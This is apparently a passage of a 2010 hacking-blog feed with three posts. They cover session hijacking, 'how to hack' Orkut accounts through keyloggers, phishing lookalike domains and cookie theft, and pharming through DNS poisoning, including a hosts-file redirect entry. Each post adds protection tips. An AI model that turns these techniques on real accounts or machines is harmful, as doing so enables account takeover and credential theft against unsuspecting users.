HIJACKING</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is Session Hijacking ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Session hijacking is the act of taking control of a user session after  successfully obtaining or generating an authentication session ID.  Session hijacking involves an attacker using captured, brute forced or  reverse-engineered session IDs to seize control of a legitimate user&#39;s  Web application session while that session is still in progress.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP4njBvBOMI/AAAAAAAAAXg/c1TIJ1YwQB0/s1600/hijacking.gif&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 242px; height: 164px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP4njBvBOMI/AAAAAAAAAXg/c1TIJ1YwQB0/s400/hijacking.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547915273681582274&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;TCP session hijacking is when a hacker takes over a TCP session between  two machines. Since most authentication only occurs at the start of a  TCP session, this allows the hacker to gain access to a machine.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;Techniques :&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;There are mainly three methods used to perpetrate a session hijack. These are:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1. Session Fixation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The session fixation attack is a class of Session Hijacking,  which steals the established session between the client and the Web  Server after the user logs in. Instead, the Session Fixation attack  fixes an established session on the victim&#39;s browser, so the attack  starts before the user logs in.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP42z3_CpgI/AAAAAAAAAXo/Qta0BDXkJgM/s1600/Fixation.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 431px; height: 225px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP42z3_CpgI/AAAAAAAAAXo/Qta0BDXkJgM/s400/Fixation.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547932055796622850&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How Session Fixation &lt;/span&gt;&lt;span&gt;works&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/12/session-fixation.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2. Session Sidejacking:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where the attacker uses &lt;span class=&quot;mw-redirect&quot;&gt;packet sniffing&lt;/span&gt; to read network traffic between two parties to steal the session &lt;span class=&quot;mw-redirect&quot;&gt;cookie&lt;/span&gt;. Many web sites use &lt;span class=&quot;mw-redirect&quot;&gt;SSL&lt;/span&gt; encryption for &lt;span class=&quot;mw-redirect&quot;&gt;login&lt;/span&gt; pages to prevent attackers from seeing the password, but do not use encryption for the rest of the site once &lt;span class=&quot;mw-redirect&quot;&gt;authenticated&lt;/span&gt;. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client.&lt;br /&gt;&lt;br /&gt;1. First the attacker uses a network sniffer to capture a valid token session called &lt;span style=&quot;font-weight: bold;&quot;&gt;Session ID&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPtjLehXwWI/AAAAAAAAAWo/WKxNXpDJPfs/s1600/Session_Hijacking_1.JPG&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 352px; height: 156px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPtjLehXwWI/AAAAAAAAAWo/WKxNXpDJPfs/s400/Session_Hijacking_1.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547136414859641186&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;2. Now he manipulates the token session to gain unauthorized access to the Web Server or hijack the victim&#39;s web session.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPtkuygyi1I/AAAAAAAAAWw/fHsxHbi9gn4/s1600/Session_Hijacking_2.JPG&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 342px; height: 164px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPtkuygyi1I/AAAAAAAAAWw/fHsxHbi9gn4/s400/Session_Hijacking_2.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547138121032960850&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TP46X6HMIJI/AAAAAAAAAX4/giJVlSsB6qc/s1600/wifi-sidejacking.jpg&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How Session Sidejacking &lt;/span&gt;&lt;span&gt;works&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/12/session-sidejacking.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;3. Cross-Site Scripting:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The attacker can compromise the session token by using malicious code or programs running at the client-side. If an attacker sends a crafted link to the victim with the malicious  JavaScript, when the victim clicks on the link, the JavaScript will run  and complete the instructions made by the attacker.  The example shows how the attacker could use an XSS attack to steal the session token.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP49UkQc1PI/AAAAAAAAAYA/3HimF_CvB-8/s1600/Code_Injection.JPG&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 377px; height: 179px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP49UkQc1PI/AAAAAAAAAYA/3HimF_CvB-8/s400/Code_Injection.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547939214506382578&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How XSS &lt;/span&gt;&lt;span&gt;works&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/12/cross-site-scripting.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Protection :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Regenerating the session id after a successful login. This prevents session fixation because the attacker does not know the session id of the user after he has logged in.&lt;br /&gt;&lt;br /&gt;2. Some services make secondary checks against the identity of the user. For example it will change the value of the cookie with each and every request.&lt;br /&gt;&lt;br /&gt;3. Users may also wish to log out of websites whenever they are finished using them.&lt;br /&gt;&lt;br /&gt;4. Encryption  of the data passed between the parties; in particular the  session key.  This technique is widely relied-upon by web-based banks  and other  e-commerce services.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP5AqmAYqrI/AAAAAAAAAYI/wm79rUSNp2g/s1600/armor.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 91px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP5AqmAYqrI/AAAAAAAAAYI/wm79rUSNp2g/s400/armor.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547942891467877042&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5200024890916536055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/session-hijacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5200024890916536055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5200024890916536055'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/session-hijacking.html' title='SESSION HIJACKING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TP4njBvBOMI/AAAAAAAAAXg/c1TIJ1YwQB0/s72-c/hijacking.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5214316978240686874</id><published>2010-12-04T23:06:00.000-08:00</published><updated>2010-12-09T23:14:22.073-08:00</updated><title type='text'>HACK ORKUT ACCOUNT</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;How To Hack Orkut ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPtIhhV4toI/AAAAAAAAAWQ/at4PMfICzpQ/s1600/orkut%252B-%252BLogin.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 323px; height: 188px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPtIhhV4toI/AAAAAAAAAWQ/at4PMfICzpQ/s400/orkut%252B-%252BLogin.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547107106759947906&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span&gt;Hello guys ! Most of you want to know the way to hack Orkut account. Today I&#39;ll discuss on this topic. But before this you should know the fact that Google uses a 4 Level Orkut login which makes it difficult to hack using brute force method.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1st Level:&lt;/span&gt; SSL or 128 bit secured connection.&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2nd Level:&lt;/span&gt; &lt;/span&gt;Google account checks for cookie in the sytem of user.&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;3rd Level:&lt;/span&gt; Google provides a redirection to the entered User information.&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;4th Level:&lt;/span&gt; &lt;/span&gt;Google doesn&#39;t use conventional php or aspx or asp coding so impossible to attack using input validation attack.&lt;br /&gt;&lt;br /&gt;So it is not an easy task to hack Orkut by breaking this security. However  still some people manages to get access to other’s Orkut accounts. Now the  question is how they do this. &lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;Techniques :&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;1. KEYLOGGER: &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Using Keyloggers is one of the Easiest Way to Hack Orkut password. Keylogger programs can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPtMbgxnH6I/AAAAAAAAAWY/pAnELn_ZWjs/s1600/keylogger.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 274px; height: 166px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPtMbgxnH6I/AAAAAAAAAWY/pAnELn_ZWjs/s400/keylogger.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547111401575096226&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Key logger software can record instant  messages, e-mail and any  information you type at any time on your  keyboard. The log file created  by the key logger can then be saved to a  specific location or mailed  to the concerned person.&lt;br /&gt;&lt;br /&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How to use a Keylogger&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/11/key-logger.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2. PHISHING:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Phishing Attack is the most popular way of stealing other’s password. This attact works by using fake login pages to fool innocent Orkut users  to enter their Orkut username and password in these fake login pages  instead of the real ones.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPtaDGCrWCI/AAAAAAAAAWg/9bIxfuToMj0/s1600/phishing-1-282x300.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 226px; height: 189px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPtaDGCrWCI/AAAAAAAAAWg/9bIxfuToMj0/s400/phishing-1-282x300.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547126375244847138&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;When the users land on these page they enter their Orkut username and  password thinking it to be the real page but actually it is other way  round. It submits all the entered details to the creator of the fake login page.&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Example:&lt;/span&gt; You get a link to a community in a scrap. It may be something like:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;http://www.&lt;/span&gt;&lt;strong style=&quot;color: rgb(255, 0, 0); font-style: italic;&quot;&gt;okrut&lt;/strong&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;.com/Community.aspx?cmm=22910233 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;It is &lt;span style=&quot;font-weight: bold; color: rgb(255, 0, 0);&quot;&gt;okrut&lt;/span&gt; instead of &lt;span style=&quot;font-weight: bold; color: rgb(0, 153, 0);&quot;&gt;orkut&lt;/span&gt;. This is definitely a trap created by the hacker to hack your Orkut password.&lt;br /&gt;&lt;br /&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How Phishing Works&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/12/phishing.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;3. SESSION HIJACKING:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In computer science, session hijacking refers to the exploitation of a valid computer session, sometimes also called a session key, to gain unauthorized access to information or services in a computer system.&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPtkuygyi1I/AAAAAAAAAWw/fHsxHbi9gn4/s1600/Session_Hijacking_2.JPG&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TP46X6HMIJI/AAAAAAAAAX4/giJVlSsB6qc/s1600/wifi-sidejacking.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 304px; height: 197px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TP46X6HMIJI/AAAAAAAAAX4/giJVlSsB6qc/s400/wifi-sidejacking.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547935973377843346&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;To steal one&#39;s Session, the attacker generally use a network sniffer or a cookie catcher. You must have seen the &lt;span style=&quot;font-style: italic;&quot;&gt;circulating scraps&lt;/span&gt;  or &lt;span style=&quot;font-style: italic;&quot;&gt;flooding scraps &lt;/span&gt;that asks you to paste a Java Script in your address bar. Well sometimes such script may reveal your private information.&lt;br /&gt;&lt;br /&gt;For detailed info on &lt;span style=&quot;font-weight: bold;&quot;&gt;How Session Hijacking Works&lt;/span&gt; click &lt;a style=&quot;font-weight: bold; color: rgb(51, 255, 51);&quot; href=&quot;http://xtrmhack.blogspot.com/2010/12/session-hijacking.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Protect Your Orkut Account :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;1. Never try to login your Orkut account from sites other than &lt;strong&gt;Orkut.com&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;2. Never click on any links from the sources you don’t trust while accessing your Orkut account.&lt;br /&gt;&lt;br /&gt;3. Never ever use &lt;strong&gt;Javascripts&lt;/strong&gt; on Orkut, no matter whatever it claims to do.&lt;br /&gt;&lt;br /&gt;4. Never tick the box &lt;strong&gt;Remember Me&lt;/strong&gt; on the orkut homepage if you are surfing from a cafe or a public area.&lt;br /&gt;&lt;br /&gt;5. &lt;span style=&quot;font-weight: bold;&quot;&gt;McAfee SiteAdvisor&lt;/span&gt; is a service that reports on the safety of web sites by alerting users to possible phishing and identity theft scams.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPu-CvtxfWI/AAAAAAAAAXI/K39_15GLZ3U/s1600/60946_anti-phishing.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 383px; height: 105px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPu-CvtxfWI/AAAAAAAAAXI/K39_15GLZ3U/s400/60946_anti-phishing.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5547236320414367074&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPtpzDDy7zI/AAAAAAAAAW4/sQC7JlZ67m8/s1600/mac.png&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5214316978240686874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/hack-orkut-account.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5214316978240686874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5214316978240686874'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/hack-orkut-account.html' title='HACK ORKUT ACCOUNT'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPtIhhV4toI/AAAAAAAAAWQ/at4PMfICzpQ/s72-c/orkut%252B-%252BLogin.png" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-1830479936011396483</id><published>2010-12-02T09:35:00.000-08:00</published><updated>2010-12-02T11:05:19.847-08:00</updated><title type='text'>PHARMING</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is Pharming ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;You must be well aware of phishing and its potential to cause damage. In phisihing you are being spammed with malicious deceiving e-mail  requests for you to visit spoof Web sites which appear legitimate.&lt;br /&gt;&lt;br /&gt;Pharming on the other hand poisons a DNS server by infusing false  information into the DNS server, resulting in a user’s request being  redirected elsewhere. Your browser, however will show you are at the  correct Web site, which makes pharming a bit more serious and more  difficult to detect.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPffwC4cvQI/AAAAAAAAAU4/pyZssSnYYgE/s1600/pharming-small.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 214px; height: 158px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPffwC4cvQI/AAAAAAAAAU4/pyZssSnYYgE/s400/pharming-small.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546147482630405378&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Pharming is a derivate from phishing. Both use “ph” instead of an “f” and are part of a computer slang.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is DNS :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;The Domain Name System (DNS) is a hierarchical naming system, which translates human-friendly computer hostnames into IP addresses. For example, www.example.com translates to 192.0.32.10.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPfiIznEGxI/AAAAAAAAAVA/7Ha7ySBydYY/s1600/23D.png&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 201px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPfiIznEGxI/AAAAAAAAAVA/7Ha7ySBydYY/s400/23D.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546150107050941202&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;DNS Poisoning :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Pharming attacks do not take advantage of any new technique. They use  the well known DNS cache poisoning, domain spoofing and domain hijacking  techniques that have been around for quite long.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPfjaoeS7wI/AAAAAAAAAVI/ZnmT8pPPkMQ/s1600/pharming.gif&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 407px; height: 210px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPfjaoeS7wI/AAAAAAAAAVI/ZnmT8pPPkMQ/s400/pharming.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546151512810647298&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;1. The hacker hacks into the DNS server and changes the IP address for &lt;span style=&quot;font-style: italic; color: rgb(0, 102, 0);&quot;&gt;www.nicebank.com&lt;/span&gt;. He put the IP of &lt;span style=&quot;font-style: italic; color: rgb(204, 0, 0);&quot;&gt;www.n1cebank.com&lt;/span&gt; (Hacker’s site).&lt;br /&gt;&lt;br /&gt;2. User wants to go the website &lt;span style=&quot;font-style: italic; color: rgb(0, 102, 0);&quot;&gt;www.nicebank.com&lt;/span&gt; and types the address in the web browser.&lt;br /&gt;&lt;br /&gt;3. User’s computer queries the DNS server for the IP address of &lt;span style=&quot;font-style: italic;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-style: italic; color: rgb(0, 102, 0);&quot;&gt;www.nicebank.com&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;4. Since the DNS server has already been poisoned by the attacker, it  returns the IP address of &lt;span style=&quot;font-style: italic; color: rgb(204, 0, 0);&quot;&gt;www.n1cebank.com&lt;/span&gt; to the user’s computer.&lt;br /&gt;&lt;br /&gt;5. The user has now been fooled into visiting the fake website controlled  by the attacker rather than the original &lt;span style=&quot;font-style: italic; color: rgb(0, 102, 0);&quot;&gt;www.nicebank.com&lt;/span&gt; website.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Host Redirection :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;The &lt;b&gt;hosts file&lt;/b&gt; is a computer file used in an operating system to map hostnames to IP addresses. The hosts file is a &lt;span class=&quot;mw-redirect&quot;&gt;plain-text&lt;/span&gt; file and is traditionally named &lt;i&gt;hosts&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Location: &lt;code style=&quot;font-weight: bold;&quot;&gt;%SystemRoot%\system32\drivers\etc\&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPfqmRVEfEI/AAAAAAAAAVg/RjkM4xc0M5c/s1600/hosts.JPG&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 323px; height: 200px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPfqmRVEfEI/AAAAAAAAAVg/RjkM4xc0M5c/s400/hosts.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546159409337760834&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;code style=&quot;font-weight: bold;&quot;&gt;&lt;/code&gt;Add an entry at the bottom where it says : 127.0.0.1 localhost  &lt;p style=&quot;font-weight: bold; color: rgb(255, 204, 0);&quot;&gt;66.102.9.147 www.myspace.com&lt;/p&gt;&lt;p&gt;What it will do is redirect the person from myspace website to ip 66.102.9.147 which is the ip for google.com.&lt;/p&gt;&lt;p&gt;Thus the attacker can manipulate the IP and take the victim towards any fake website.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Prevent Pharming :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Pharming Conscious web sites that use forms to accept passwords or other  sensitive information ensure that the page that contains the form  itself is served using HTTPS.&lt;br /&gt;&lt;br /&gt;2. If you visit an SSL-enabled website, look out for this warning message  window. If you get it, doubly check if the website you are visiting gave  this message in earlier instances. Check if the URL is the same that  you intend to go to.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPfm2oqfWsI/AAAAAAAAAVQ/AmMIG1tBTJk/s1600/security-alert.gif&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 363px; height: 230px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPfm2oqfWsI/AAAAAAAAAVQ/AmMIG1tBTJk/s400/security-alert.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546155292433013442&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;3. SpoofStick is a simple browser extension that helps users detect fake  websites. This tool is free and installs itself into your browser. It’s  available for firefox and internet explorer. For more information go to &lt;a href=&quot;http://www.spoofstick.com/&quot;&gt;Spoofstick&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) 